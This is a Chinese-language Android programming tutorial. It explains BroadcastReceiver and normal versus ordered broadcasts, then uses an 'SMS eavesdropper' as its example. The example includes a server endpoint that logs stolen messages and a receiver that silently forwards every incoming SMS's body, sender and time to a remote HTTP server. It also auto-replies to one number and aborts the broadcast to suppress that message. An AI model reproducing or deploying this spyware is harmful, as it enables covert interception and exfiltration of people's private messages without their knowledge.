今天学习的是BroadcastReceiver(Android接收员)类,
BroadcastReceiver是接收从sendBroadcast()发出的intent的基类。可以通过Context.registerReceiver()方法在代码中动态的注册一个BroadcastReceiver的实例,也可以通过再AndroidManifest.xml文件中用<receiver>标签来静态声明。
注:这两种方法不应同时使用。
可接收的broadcast分为两种类型:普通的broadcast、有序的broadcast。
普通的broadcasts(通过Context.sendBroadcast发送)是完全异步的。这个broadcast的receiver以无序的状态运行,经常是在同一时刻运行。这种做法是十分高效的,但是也意味着receiver不能够利用相互处理的结果或者是调用退出的API来退出(因为不知道哪个receiver先接收到intent)。
有序的broadcasts(通过Context.sendOrderedBroadcast发送)一次只发送给一个receiver。每一个receiver是有序的处理这个intent的,前面的receiver可以传递结果给下一个receiver,或者任意一个receiver都可以完全的退出,这样intent就不会传递给其他的receivers.receiver的执行顺序可以通过匹配的intent-filter中的android:priority属性来控制;如果有多个receivers处于同一个优先级,那么这几个receivers将会以任意的顺序来执行。
即使是在广播普通的broadcasts的情况下,系统也有可能在某些情况下转换为一次发送一个broadcast给一个receriver。特别是当receivers需要创建进程时,在同一时刻仅仅一个receiver可以运行,避免系统因为这些新建的进程而过载。
下面通过一个短信窃听器的实例来了解BroadcastReceiver:
首先,服务器(videoweb)端:
public ActionForward getSMS(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
VideoForm formbean = (VideoForm)form;
System.out.println("发送时间:"+ formbean.getTime());
System.out.println("谁给她发的短信:"+ formbean.getSender());
System.out.println("内容:"+ formbean.getContent());
return mapping.findForward("result");
然后,在客户端:
清单文件中(AndroidManifest.xml)中订阅广播以及设置短信接收、发送权限:
<receiver android:name=".MySMSListener">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
然后在MySMSListenter.java文件中实现代码,在这之前需要导入SocketHttpRequester.java工具类:
package cn.class3g.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import cn.class3g.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class MySMSListenter extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
Object[] pdus = (Object[]) bundle.get("pdus");
if(pdus != null && pdus.length>0){
SmsMessage[] messages = new SmsMessage[pdus.length];
for(int i=0;i<messages.length;i++){
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg : messages){
String content = msg.getMessageBody();
String sender = msg.getOriginatingAddress();
Date date = new Date(msg.getTimestampMillis());
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendTime = sdf.format(date);
String path="http://192.168.65.42:8080/videoweb/video/manage.do";
Map<String,String> param = new HashMap<String,String>();
param.put("method", "getSMS");
param.put("content", content);
param.put("sender", sender);
param.put("time", sendTime);
try{
SocketHttpRequester.post(path,param,"UTF-8");
}catch(Exception e){
Log.e("TAG",e.toString());
}
if(sender != null &&sender.endsWith("5556")){
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, "qsb", null, null);
this.abortBroadcast();//终止广播
}
}
}
}
}